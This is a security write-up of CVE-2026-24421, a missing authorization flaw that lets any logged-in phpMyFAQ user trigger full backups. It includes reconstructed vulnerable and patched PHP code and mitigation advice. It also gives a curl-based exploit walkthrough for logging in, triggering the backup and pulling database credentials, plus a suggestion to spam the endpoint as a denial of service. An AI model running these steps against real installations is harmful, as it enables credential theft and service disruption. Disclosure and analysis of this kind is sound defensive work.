phpMyFAQ: The 'Backup for Everyone' Feature You Didn't Ask For
Jan 23, 2026·6 min read·1 visit
Executive Summary (TL;DR)
In phpMyFAQ <= 4.0.16, the developers confused authentication with authorization. If you can log in—even as a lowly intern—you can hit the `/api/setup/backup` endpoint. This triggers a full system backup, wrapping up the database configuration (and its credentials) into a nice little ZIP file for you to steal.
A critical authorization failure in phpMyFAQ allows any low-privileged authenticated user to trigger and potentially retrieve full system configuration backups, exposing database credentials and sensitive system data.
The Hook: Who Needs Access Control Anyway?
Let's talk about backups. In the hierarchy of 'sensitive administrative actions,' generating a full system backup is right up there with 'delete database' or 'change root password.' A backup is essentially a snapshot of the kingdom—it often contains configuration files, user data, and the Holy Grail of web exploitation: plaintext database credentials.
phpMyFAQ is a popular open-source FAQ system used by organizations to document... well, everything. It includes a setup API intended for administrators to manage the instance. One of these management functions is, naturally, a backup generator.
Now, imagine you secure your front door with a bio-metric scanner, a keypad, and a guard dog. But then you install a button on the sidewalk labeled 'Dispense Spare Keys' that only requires you to be aware of the house's existence. That is effectively what CVE-2026-24421 is. It turns a high-privilege administrative function into a public utility for anyone with a login.
The Flaw: Authentication != Authorization
The vulnerability lies in a classic logical fallacy that plagues developers from junior interns to senior architects: assuming that because a user is authenticated (logged in), they are authorized to do whatever they ask for.
Located within SetupController.php, the specific endpoint is /api/setup/backup. When a request hits this endpoint, the application dutifully checks userIsAuthenticated(). This function effectively asks, 'Do I know who you are?' If the answer is yes, the code proceeds.
The problem is, it never asks the follow-up question: 'Is this person actually an administrator?'
This is a textbook Missing Authorization vulnerability (CWE-862). The application logic treats a user with the 'Tester' or 'Editor' role exactly the same as the 'Super Admin' for this specific route. It essentially shortcuts the Role-Based Access Control (RBAC) model, allowing low-privileged users to invoke high-privileged system commands.
The Code: The Smoking Gun
Let's look at the logic. While I can't show you the exact proprietary source without a specific commit hash, the logic flow described in the remediation data allows us to reconstruct the crime scene accurately.
The Vulnerable Logic:
In the vulnerable version (<= 4.0.16), the controller looks something like this:
public function actionBackup()
{
// Check if user is logged in
if (!$this->user->userIsAuthenticated()) {
return $this->sendError('Unauthorized', 401);
}
// OOPS: No check for 'editconfig' or 'admin' rights here!
// Proceed to dump the database and config files
$backup = new Backup($this->config);
$zipFile = $backup->create();
return $this->sendResponse(['file' => $zipFile]);
}See that empty space? That's where the security should be. The code validates identity but ignores authority.
The Fix:
To patch this, we have to enforce an explicit permission check using phpMyFAQ's permission system. The remediation involves adding a gatekeeper that specifically checks for the editconfig permission:
public function actionBackup()
{
// Check if user is logged in
if (!$this->user->userIsAuthenticated()) {
return $this->sendError('Unauthorized', 401);
}
// THE FIX: Explicitly check for admin/config permissions
if (!$this->user->getPermission()->checkPermission($this->user->getUserId(), 'editconfig')) {
return $this->sendError('Forbidden: Admins only', 403);
}
$backup = new Backup($this->config);
$zipFile = $backup->create();
return $this->sendResponse(['file' => $zipFile]);
}Without that second if block, the controller is just a vending machine giving away data to anyone with a token.
The Exploit: Stealing the Keys
Exploiting this is trivially easy. You don't need buffer overflows or complex race conditions. You just need a standard user account. If the target allows open registration, you create an account. If not, you phish a low-level editor.
Once you have credentials, the attack chain is a two-step process.
Step 1: Authenticate
First, we grab a valid session. We'll use curl to simulate the browser interaction:
curl -c cookies.txt \
-H 'Content-Type: application/json' \
-d '{"username":"lowpriv","password":"P@ssword123"}' \
http://target.com/phpmyfaq/api/v3.0/loginStep 2: Trigger the Backup
Now that we have our cookies.txt (proof of identity), we hit the backup endpoint. Note that we might need to pass a version string as data, as indicated by the vulnerability analysis.
curl -i -b cookies.txt \
-X POST \
--data '4.0.16' \
http://target.com/phpmyfaq/api/setup/backupStep 3: The Loot
The server will chug for a moment (while it compresses the database and config) and respond with a JSON object containing the path to the ZIP file.
{
"success": true,
"data": {
"file": "/backups/phpmyfaq-backup-2026-01-23.zip"
}
}If the server config allows direct access to that path (which it often does), you simply download the ZIP, unzip it, and open config/database.php. Congratulations, you now have the database hostname, username, and password.
The Impact: Why You Should Care
This isn't just about reading some FAQ entries you weren't supposed to see. This is Confidentiality loss on a systemic level.
- Credential Theft: The
database.phpfile inside the backup contains the cleartext (or easily decryptable) credentials for the database. If the database port is open to the internet, the attacker has full R/W access to your data. - System Info: The backup often contains path information, version numbers, and user lists, providing a roadmap for further attacks.
- Denial of Service (DoS): Even if the attacker can't download the file, they can spam the backup endpoint. Generating a full system ZIP is CPU and I/O intensive. A simple script triggering this every second will fill up the disk space and spike the CPU, effectively killing the server.
It is a low-complexity attack with high-severity consequences.
The Mitigation: Stop the Bleeding
If you are running phpMyFAQ versions up to 4.0.16, you are vulnerable. Here is your battle plan.
Immediate Remediation:
- Upgrade: The vendor has patched this in versions 4.0.17 and later. Update immediately.
- Access Control: If you cannot update, block access to
/api/setup/backupat your web server level (Nginx/Apache) for all IPs except your management VPN. - Hardening: Check your backup directory. It should never be accessible via the web browser. Use
.htaccessor Nginxdeny alldirectives on the backup folder to prevent direct downloads of.zipfiles.
Developers, learn the lesson: Authentication is just the bouncer at the door. Authorization is the VIP rope. Don't confuse the two.
Official Patches
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:LAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
phpMyFAQ thorsten | <= 4.0.16 | 4.0.17 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-862 (Missing Authorization) |
| CVSS v3.1 | 6.5 (Medium) |
| Attack Vector | Network (API) |
| Privileges Required | Low (Authenticated User) |
| Impact | Confidentiality (High), Availability (Low) |
| Exploit Status | PoC Available |
MITRE ATT&CK Mapping
The software does not perform an authorization check when an actor attempts to access a resource or perform an action.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.